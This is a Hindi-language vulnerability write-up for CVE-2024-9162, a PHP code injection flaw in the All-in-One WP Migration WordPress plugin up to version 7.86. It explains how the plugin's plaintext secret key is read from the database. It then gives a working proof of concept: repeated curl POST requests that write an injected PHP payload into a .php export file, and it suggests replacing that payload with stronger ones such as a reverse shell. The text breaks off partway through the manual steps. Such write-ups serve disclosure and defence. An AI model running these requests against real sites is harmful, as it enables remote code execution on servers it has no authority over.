CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - प्रमाणित (व्यवस्थापक+) मनमाना PHP कोड इंजेक्शन

वर्डप्रेस के लिए All-in-One WP Migration प्लगइन 7.86 तक के सभी संस्करणों (7.86 सहित) में निर्यात के दौरान फ़ाइल प्रकार सत्यापन की कमी के कारण मनमाना PHP कोड इंजेक्शन के प्रति असुरक्षित है। यह प्रमाणित हमलावरों के लिए, व्यवस्थापक-स्तर या उससे ऊपर की पहुँच के साथ, प्रभावित साइट के सर्वर पर .php एक्सटेंशन वाली एक निर्यात फ़ाइल बनाना और उसमें मनमाना PHP कोड जोड़ना संभव बनाता है, जिससे दूरस्थ कोड निष्पादन संभव हो सकता है।

TL;DR एक्सप्लॉइट

• CVE-2024-9162.sh
• CVE-2024-9162.py

विवरण

ai1wm_secret_key एक 12 वर्णों की अल्फ़ान्यूमेरिक स्ट्रिंग है जो प्लगइन आरंभ होने पर बनाई जाती है। यह कुंजी कभी रोटेट नहीं होती, समाप्त नहीं होती, और wp_options तालिका में सादे पाठ में संग्रहीत होती है।

mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)

बुनियादी प्रूफ़ ऑफ़ कॉन्सेप्ट:

यह phpinfo(); के कॉल वाली एक php फ़ाइल बनाएगा, जिसे मैन्युअल पुनरुत्पादन अनुभाग में देखे गए अनुसार बेहतर पेलोड से बदला जा सकता है। ध्यान दें कि गुप्त कुंजी पैरामीटर के अतिरिक्त किसी प्राधिकरण की आवश्यकता नहीं है।

VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

मैन्युअल रूप से पुनरुत्पादित करने के लिए:

यह ध्यान दिया जाना चाहिए कि इन चरणों के माध्यम से बनाई गई php फ़ाइल पहले wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php में दिखाई देगी, इससे पहले कि इसे स्क्रिप्ट द्वारा हटाकर wp-content/ai1wm-backups/reverse_shell.php में ले जाया जाए।

• लॉग इन करें, "Export Site" पेज तक पहुँचने के लिए all in one WP migration export पर क्लिक करें।
  •